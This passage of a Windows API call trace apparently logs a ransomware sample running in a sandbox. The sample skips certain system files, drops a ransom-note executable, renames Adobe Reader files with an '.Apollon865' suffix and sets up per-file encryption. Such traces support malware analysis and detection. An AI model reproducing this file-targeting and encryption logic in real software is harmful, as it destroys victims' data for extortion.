	[0060.558] lstrlenW (lpString=".lnk") returned 4
	[0060.558] lstrcmpiW (lpString1="nppdf32.HUN", lpString2=".lnk") returned 1
	[0060.558] lstrlenW (lpString=".ini") returned 4
	[0060.558] lstrcmpiW (lpString1="nppdf32.HUN", lpString2=".ini") returned 1
	[0060.558] lstrlenW (lpString=".sys") returned 4
	[0060.558] lstrcmpiW (lpString1="nppdf32.HUN", lpString2=".sys") returned 1
	[0060.558] lstrlenW (lpString="nppdf32.HUN") returned 11
	[0060.558] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="nppdf32.ITA" | out: lpString1="nppdf32.ITA") returned="nppdf32.ITA"
	[0060.558] lstrlenW (lpString="nppdf32.ITA") returned 11
	[0060.558] lstrlenW (lpString="Apollon865") returned 10
	[0060.558] lstrcmpiW (lpString1="ppdf32.ITA", lpString2="Apollon865") returned 1
	[0060.559] lstrlenW (lpString=".dll") returned 4
	[0060.559] lstrcmpiW (lpString1="nppdf32.ITA", lpString2=".dll") returned 1
	[0060.559] lstrlenW (lpString=".lnk") returned 4
	[0060.559] lstrcmpiW (lpString1="nppdf32.ITA", lpString2=".lnk") returned 1
	[0060.559] lstrlenW (lpString=".ini") returned 4
	[0060.559] lstrcmpiW (lpString1="nppdf32.ITA", lpString2=".ini") returned 1
	[0060.559] lstrlenW (lpString=".sys") returned 4
	[0060.559] lstrcmpiW (lpString1="nppdf32.ITA", lpString2=".sys") returned 1
	[0060.559] lstrlenW (lpString="nppdf32.ITA") returned 11
	[0060.559] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="nppdf32.JPN" | out: lpString1="nppdf32.JPN") returned="nppdf32.JPN"
	[0060.559] lstrlenW (lpString="nppdf32.JPN") returned 11
	[0060.559] lstrlenW (lpString="Apollon865") returned 10
	[0060.559] lstrcmpiW (lpString1="ppdf32.JPN", lpString2="Apollon865") returned 1
	[0060.559] lstrlenW (lpString=".dll") returned 4
	[0060.559] lstrcmpiW (lpString1="nppdf32.JPN", lpString2=".dll") returned 1
	[0060.559] lstrlenW (lpString=".lnk") returned 4
	[0060.559] lstrcmpiW (lpString1="nppdf32.JPN", lpString2=".lnk") returned 1
	[0060.559] lstrlenW (lpString=".ini") returned 4
	[0060.559] lstrcmpiW (lpString1="nppdf32.JPN", lpString2=".ini") returned 1
	[0060.559] lstrlenW (lpString=".sys") returned 4
	[0060.559] lstrcmpiW (lpString1="nppdf32.JPN", lpString2=".sys") returned 1
	[0060.559] lstrlenW (lpString="nppdf32.JPN") returned 11
	[0060.559] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="nppdf32.KOR" | out: lpString1="nppdf32.KOR") returned="nppdf32.KOR"
	[0060.559] lstrlenW (lpString="nppdf32.KOR") returned 11
	[0060.559] lstrlenW (lpString="Apollon865") returned 10
	[0060.559] lstrcmpiW (lpString1="ppdf32.KOR", lpString2="Apollon865") returned 1
	[0060.559] lstrlenW (lpString=".dll") returned 4
	[0060.559] lstrcmpiW (lpString1="nppdf32.KOR", lpString2=".dll") returned 1
	[0060.559] lstrlenW (lpString=".lnk") returned 4
	[0060.559] lstrcmpiW (lpString1="nppdf32.KOR", lpString2=".lnk") returned 1
	[0060.559] lstrlenW (lpString=".ini") returned 4
	[0060.560] lstrcmpiW (lpString1="nppdf32.KOR", lpString2=".ini") returned 1
	[0060.560] lstrlenW (lpString=".sys") returned 4
	[0060.560] lstrcmpiW (lpString1="nppdf32.KOR", lpString2=".sys") returned 1
	[0060.560] lstrlenW (lpString="nppdf32.KOR") returned 11
	[0060.560] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="nppdf32.NLD" | out: lpString1="nppdf32.NLD") returned="nppdf32.NLD"
	[0060.560] lstrlenW (lpString="nppdf32.NLD") returned 11
	[0060.560] lstrlenW (lpString="Apollon865") returned 10
	[0060.560] lstrcmpiW (lpString1="ppdf32.NLD", lpString2="Apollon865") returned 1
	[0060.560] lstrlenW (lpString=".dll") returned 4
	[0060.560] lstrcmpiW (lpString1="nppdf32.NLD", lpString2=".dll") returned 1
	[0060.560] lstrlenW (lpString=".lnk") returned 4
	[0060.560] lstrcmpiW (lpString1="nppdf32.NLD", lpString2=".lnk") returned 1
	[0060.560] lstrlenW (lpString=".ini") returned 4
	[0060.560] lstrcmpiW (lpString1="nppdf32.NLD", lpString2=".ini") returned 1
	[0060.560] lstrlenW (lpString=".sys") returned 4
	[0060.560] lstrcmpiW (lpString1="nppdf32.NLD", lpString2=".sys") returned 1
	[0060.560] lstrlenW (lpString="nppdf32.NLD") returned 11
	[0060.560] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="nppdf32.NOR" | out: lpString1="nppdf32.NOR") returned="nppdf32.NOR"
	[0060.560] lstrlenW (lpString="nppdf32.NOR") returned 11
	[0060.560] lstrlenW (lpString="Apollon865") returned 10
	[0060.560] lstrcmpiW (lpString1="ppdf32.NOR", lpString2="Apollon865") returned 1
	[0060.560] lstrlenW (lpString=".dll") returned 4
	[0060.560] lstrcmpiW (lpString1="nppdf32.NOR", lpString2=".dll") returned 1
	[0060.560] lstrlenW (lpString=".lnk") returned 4
	[0060.560] lstrcmpiW (lpString1="nppdf32.NOR", lpString2=".lnk") returned 1
	[0060.560] lstrlenW (lpString=".ini") returned 4
	[0060.560] lstrcmpiW (lpString1="nppdf32.NOR", lpString2=".ini") returned 1
	[0060.560] lstrlenW (lpString=".sys") returned 4
	[0060.560] lstrcmpiW (lpString1="nppdf32.NOR", lpString2=".sys") returned 1
	[0060.561] lstrlenW (lpString="nppdf32.NOR") returned 11
	[0060.561] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="nppdf32.POL" | out: lpString1="nppdf32.POL") returned="nppdf32.POL"
	[0060.561] lstrlenW (lpString="nppdf32.POL") returned 11
	[0060.561] lstrlenW (lpString="Apollon865") returned 10
	[0060.561] lstrcmpiW (lpString1="ppdf32.POL", lpString2="Apollon865") returned 1
	[0060.561] lstrlenW (lpString=".dll") returned 4
	[0060.561] lstrcmpiW (lpString1="nppdf32.POL", lpString2=".dll") returned 1
	[0060.561] lstrlenW (lpString=".lnk") returned 4
	[0060.561] lstrcmpiW (lpString1="nppdf32.POL", lpString2=".lnk") returned 1
	[0060.561] lstrlenW (lpString=".ini") returned 4
	[0060.561] lstrcmpiW (lpString1="nppdf32.POL", lpString2=".ini") returned 1
	[0060.561] lstrlenW (lpString=".sys") returned 4
	[0060.561] lstrcmpiW (lpString1="nppdf32.POL", lpString2=".sys") returned 1
	[0060.561] lstrlenW (lpString="nppdf32.POL") returned 11
	[0060.561] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="nppdf32.PTB" | out: lpString1="nppdf32.PTB") returned="nppdf32.PTB"
	[0060.561] lstrlenW (lpString="nppdf32.PTB") returned 11
	[0060.561] lstrlenW (lpString="Apollon865") returned 10
	[0060.561] lstrcmpiW (lpString1="ppdf32.PTB", lpString2="Apollon865") returned 1
	[0060.561] lstrlenW (lpString=".dll") returned 4
	[0060.561] lstrcmpiW (lpString1="nppdf32.PTB", lpString2=".dll") returned 1
	[0060.561] lstrlenW (lpString=".lnk") returned 4
	[0060.561] lstrcmpiW (lpString1="nppdf32.PTB", lpString2=".lnk") returned 1
	[0060.561] lstrlenW (lpString=".ini") returned 4
	[0060.561] lstrcmpiW (lpString1="nppdf32.PTB", lpString2=".ini") returned 1
	[0060.561] lstrlenW (lpString=".sys") returned 4
	[0060.561] lstrcmpiW (lpString1="nppdf32.PTB", lpString2=".sys") returned 1
	[0060.561] lstrlenW (lpString="nppdf32.PTB") returned 11
	[0060.561] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="nppdf32.RUM" | out: lpString1="nppdf32.RUM") returned="nppdf32.RUM"
	[0060.562] lstrlenW (lpString="nppdf32.RUM") returned 11
	[0060.562] lstrlenW (lpString="Apollon865") returned 10
	[0060.562] lstrcmpiW (lpString1="ppdf32.RUM", lpString2="Apollon865") returned 1
	[0060.562] lstrlenW (lpString=".dll") returned 4
	[0060.562] lstrcmpiW (lpString1="nppdf32.RUM", lpString2=".dll") returned 1
	[0060.562] lstrlenW (lpString=".lnk") returned 4
	[0060.562] lstrcmpiW (lpString1="nppdf32.RUM", lpString2=".lnk") returned 1
	[0060.562] lstrlenW (lpString=".ini") returned 4
	[0060.562] lstrcmpiW (lpString1="nppdf32.RUM", lpString2=".ini") returned 1
	[0060.562] lstrlenW (lpString=".sys") returned 4
	[0060.562] lstrcmpiW (lpString1="nppdf32.RUM", lpString2=".sys") returned 1
	[0060.562] lstrlenW (lpString="nppdf32.RUM") returned 11
	[0060.562] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="nppdf32.RUS" | out: lpString1="nppdf32.RUS") returned="nppdf32.RUS"
	[0060.562] lstrlenW (lpString="nppdf32.RUS") returned 11
	[0060.562] lstrlenW (lpString="Apollon865") returned 10
	[0060.562] lstrcmpiW (lpString1="ppdf32.RUS", lpString2="Apollon865") returned 1
	[0060.562] lstrlenW (lpString=".dll") returned 4
	[0060.562] lstrcmpiW (lpString1="nppdf32.RUS", lpString2=".dll") returned 1
	[0060.562] lstrlenW (lpString=".lnk") returned 4
	[0060.562] lstrcmpiW (lpString1="nppdf32.RUS", lpString2=".lnk") returned 1
	[0060.562] lstrlenW (lpString=".ini") returned 4
	[0060.562] lstrcmpiW (lpString1="nppdf32.RUS", lpString2=".ini") returned 1
	[0060.562] lstrlenW (lpString=".sys") returned 4
	[0060.562] lstrcmpiW (lpString1="nppdf32.RUS", lpString2=".sys") returned 1
	[0060.562] lstrlenW (lpString="nppdf32.RUS") returned 11
	[0060.562] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="nppdf32.SKY" | out: lpString1="nppdf32.SKY") returned="nppdf32.SKY"
	[0060.562] lstrlenW (lpString="nppdf32.SKY") returned 11
	[0060.562] lstrlenW (lpString="Apollon865") returned 10
	[0060.562] lstrcmpiW (lpString1="ppdf32.SKY", lpString2="Apollon865") returned 1
	[0060.562] lstrlenW (lpString=".dll") returned 4
	[0060.562] lstrcmpiW (lpString1="nppdf32.SKY", lpString2=".dll") returned 1
	[0060.563] lstrlenW (lpString=".lnk") returned 4
	[0060.563] lstrcmpiW (lpString1="nppdf32.SKY", lpString2=".lnk") returned 1
	[0060.563] lstrlenW (lpString=".ini") returned 4
	[0060.563] lstrcmpiW (lpString1="nppdf32.SKY", lpString2=".ini") returned 1
	[0060.563] lstrlenW (lpString=".sys") returned 4
	[0060.563] lstrcmpiW (lpString1="nppdf32.SKY", lpString2=".sys") returned 1
	[0060.563] lstrlenW (lpString="nppdf32.SKY") returned 11
	[0060.563] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="nppdf32.SLV" | out: lpString1="nppdf32.SLV") returned="nppdf32.SLV"
	[0060.563] lstrlenW (lpString="nppdf32.SLV") returned 11
	[0060.563] lstrlenW (lpString="Apollon865") returned 10
	[0060.563] lstrcmpiW (lpString1="ppdf32.SLV", lpString2="Apollon865") returned 1
	[0060.563] lstrlenW (lpString=".dll") returned 4
	[0060.563] lstrcmpiW (lpString1="nppdf32.SLV", lpString2=".dll") returned 1
	[0060.563] lstrlenW (lpString=".lnk") returned 4
	[0060.563] lstrcmpiW (lpString1="nppdf32.SLV", lpString2=".lnk") returned 1
	[0060.563] lstrlenW (lpString=".ini") returned 4
	[0060.563] lstrcmpiW (lpString1="nppdf32.SLV", lpString2=".ini") returned 1
	[0060.563] lstrlenW (lpString=".sys") returned 4
	[0060.563] lstrcmpiW (lpString1="nppdf32.SLV", lpString2=".sys") returned 1
	[0060.563] lstrlenW (lpString="nppdf32.SLV") returned 11
	[0060.563] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="nppdf32.SUO" | out: lpString1="nppdf32.SUO") returned="nppdf32.SUO"
	[0060.563] lstrlenW (lpString="nppdf32.SUO") returned 11
	[0060.563] lstrlenW (lpString="Apollon865") returned 10
	[0060.563] lstrcmpiW (lpString1="ppdf32.SUO", lpString2="Apollon865") returned 1
	[0060.563] lstrlenW (lpString=".dll") returned 4
	[0060.563] lstrcmpiW (lpString1="nppdf32.SUO", lpString2=".dll") returned 1
	[0060.563] lstrlenW (lpString=".lnk") returned 4
	[0060.563] lstrcmpiW (lpString1="nppdf32.SUO", lpString2=".lnk") returned 1
	[0060.563] lstrlenW (lpString=".ini") returned 4
	[0060.563] lstrcmpiW (lpString1="nppdf32.SUO", lpString2=".ini") returned 1
	[0060.563] lstrlenW (lpString=".sys") returned 4
	[0060.564] lstrcmpiW (lpString1="nppdf32.SUO", lpString2=".sys") returned 1
	[0060.564] lstrlenW (lpString="nppdf32.SUO") returned 11
	[0060.564] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="nppdf32.SVE" | out: lpString1="nppdf32.SVE") returned="nppdf32.SVE"
	[0060.564] lstrlenW (lpString="nppdf32.SVE") returned 11
	[0060.564] lstrlenW (lpString="Apollon865") returned 10
	[0060.564] lstrcmpiW (lpString1="ppdf32.SVE", lpString2="Apollon865") returned 1
	[0060.564] lstrlenW (lpString=".dll") returned 4
	[0060.564] lstrcmpiW (lpString1="nppdf32.SVE", lpString2=".dll") returned 1
	[0060.564] lstrlenW (lpString=".lnk") returned 4
	[0060.564] lstrcmpiW (lpString1="nppdf32.SVE", lpString2=".lnk") returned 1
	[0060.564] lstrlenW (lpString=".ini") returned 4
	[0060.564] lstrcmpiW (lpString1="nppdf32.SVE", lpString2=".ini") returned 1
	[0060.564] lstrlenW (lpString=".sys") returned 4
	[0060.564] lstrcmpiW (lpString1="nppdf32.SVE", lpString2=".sys") returned 1
	[0060.564] lstrlenW (lpString="nppdf32.SVE") returned 11
	[0060.564] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="nppdf32.TUR" | out: lpString1="nppdf32.TUR") returned="nppdf32.TUR"
	[0060.564] lstrlenW (lpString="nppdf32.TUR") returned 11
	[0060.564] lstrlenW (lpString="Apollon865") returned 10
	[0060.564] lstrcmpiW (lpString1="ppdf32.TUR", lpString2="Apollon865") returned 1
	[0060.564] lstrlenW (lpString=".dll") returned 4
	[0060.564] lstrcmpiW (lpString1="nppdf32.TUR", lpString2=".dll") returned 1
	[0060.564] lstrlenW (lpString=".lnk") returned 4
	[0060.564] lstrcmpiW (lpString1="nppdf32.TUR", lpString2=".lnk") returned 1
	[0060.564] lstrlenW (lpString=".ini") returned 4
	[0060.564] lstrcmpiW (lpString1="nppdf32.TUR", lpString2=".ini") returned 1
	[0060.564] lstrlenW (lpString=".sys") returned 4
	[0060.564] lstrcmpiW (lpString1="nppdf32.TUR", lpString2=".sys") returned 1
	[0060.564] lstrlenW (lpString="nppdf32.TUR") returned 11
	[0060.564] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="nppdf32.UKR" | out: lpString1="nppdf32.UKR") returned="nppdf32.UKR"
	[0060.565] lstrlenW (lpString="nppdf32.UKR") returned 11
	[0060.565] lstrlenW (lpString="Apollon865") returned 10
	[0060.565] lstrcmpiW (lpString1="ppdf32.UKR", lpString2="Apollon865") returned 1
	[0060.565] lstrlenW (lpString=".dll") returned 4
	[0060.565] lstrcmpiW (lpString1="nppdf32.UKR", lpString2=".dll") returned 1
	[0060.565] lstrlenW (lpString=".lnk") returned 4
	[0060.565] lstrcmpiW (lpString1="nppdf32.UKR", lpString2=".lnk") returned 1
	[0060.565] lstrlenW (lpString=".ini") returned 4
	[0060.565] lstrcmpiW (lpString1="nppdf32.UKR", lpString2=".ini") returned 1
	[0060.565] lstrlenW (lpString=".sys") returned 4
	[0060.565] lstrcmpiW (lpString1="nppdf32.UKR", lpString2=".sys") returned 1
	[0060.565] lstrlenW (lpString="nppdf32.UKR") returned 11
	[0060.565] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR"
	[0060.565] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8f30 | out: hHeap=0x580000) returned 1
	[0060.565] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7908 | out: hHeap=0x580000) returned 1
	[0060.565] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR") returned 51
	[0060.565] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR"
	[0060.565] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.565] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.576] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.576] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x802ba700, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3c2c8db0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c2c8db0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.576] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.576] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.576] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0060.576] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x802ba700, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3c2c8db0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c2c8db0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0060.577] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.577] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0060.577] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0060.577] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0060.577] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c2c8db0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3c2c8db0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0060.577] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0060.577] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nppdf32.CAT", cAlternateFileName="")) returned 1
	[0060.577] lstrcmpiW (lpString1="nppdf32.CAT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0060.577] lstrcmpiW (lpString1="nppdf32.CAT", lpString2="Apollon865.txt.exe") returned 1
	[0060.577] lstrcmpiW (lpString1="nppdf32.CAT", lpString2=".") returned 1
	[0060.577] lstrcmpiW (lpString1="nppdf32.CAT", lpString2="..") returned 1
	[0060.577] lstrcmpiW (lpString1="nppdf32.CAT", lpString2="windows") returned -1
	[0060.577] lstrcmpiW (lpString1="nppdf32.CAT", lpString2="bootmgr") returned 1
	[0060.577] lstrcmpiW (lpString1="nppdf32.CAT", lpString2="temp") returned -1
	[0060.577] lstrcmpiW (lpString1="nppdf32.CAT", lpString2="pagefile.sys") returned -1
	[0060.577] lstrcmpiW (lpString1="nppdf32.CAT", lpString2="boot") returned 1
	[0060.577] lstrcmpiW (lpString1="nppdf32.CAT", lpString2="ids.txt") returned 1
	[0060.577] lstrcmpiW (lpString1="nppdf32.CAT", lpString2="ntuser.dat") returned -1
	[0060.577] lstrcmpiW (lpString1="nppdf32.CAT", lpString2="perflogs") returned -1
	[0060.577] lstrcmpiW (lpString1="nppdf32.CAT", lpString2="MSBuild") returned 1
	[0060.577] lstrlenW (lpString="nppdf32.CAT") returned 11
	[0060.577] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\*") returned 53
	[0060.577] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="nppdf32.CAT" | out: lpString1="nppdf32.CAT") returned="nppdf32.CAT"
	[0060.577] lstrlenW (lpString="nppdf32.CAT") returned 11
	[0060.577] lstrlenW (lpString="Apollon865") returned 10
	[0060.577] lstrcmpiW (lpString1="ppdf32.CAT", lpString2="Apollon865") returned 1
	[0060.577] lstrlenW (lpString=".dll") returned 4
	[0060.577] lstrcmpiW (lpString1="nppdf32.CAT", lpString2=".dll") returned 1
	[0060.578] lstrlenW (lpString=".lnk") returned 4
	[0060.578] lstrcmpiW (lpString1="nppdf32.CAT", lpString2=".lnk") returned 1
	[0060.578] lstrlenW (lpString=".ini") returned 4
	[0060.578] lstrcmpiW (lpString1="nppdf32.CAT", lpString2=".ini") returned 1
	[0060.578] lstrlenW (lpString=".sys") returned 4
	[0060.578] lstrcmpiW (lpString1="nppdf32.CAT", lpString2=".sys") returned 1
	[0060.578] lstrlenW (lpString="nppdf32.CAT") returned 11
	[0060.578] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.CAT.Apollon865") returned 74
	[0060.578] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.CAT.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.cat.apollon865"), dwFlags=0x1) returned 1
	[0060.581] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.CAT.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.cat.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0060.581] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=7680) returned 1
	[0060.581] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0060.581] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0060.581] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf788
	[0060.581] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0060.582] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0060.582] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0060.582] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2100, lpName=0x0) returned 0x154
	[0060.584] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2100) returned 0x120000
	[0060.586] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0060.587] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0060.587] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0060.587] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0060.587] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0060.587] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0060.587] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0060.587] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0060.587] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0060.587] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0060.588] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0060.588] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0060.588] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0060.588] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0060.588] CloseHandle (hObject=0x154) returned 1
	[0060.588] CloseHandle (hObject=0x15c) returned 1
	[0060.588] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0060.588] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0060.588] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0060.588] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802ba700, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nppdf32.CHS", cAlternateFileName="")) returned 1
	[0060.588] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0060.588] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="Apollon865.txt.exe") returned 1
	[0060.588] lstrcmpiW (lpString1="nppdf32.CHS", lpString2=".") returned 1
	[0060.588] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="..") returned 1
	[0060.588] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="windows") returned -1
	[0060.588] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="bootmgr") returned 1
	[0060.588] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="temp") returned -1
	[0060.588] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="pagefile.sys") returned -1
	[0060.588] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="boot") returned 1
	[0060.588] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="ids.txt") returned 1
	[0060.588] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="ntuser.dat") returned -1
	[0060.589] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="perflogs") returned -1
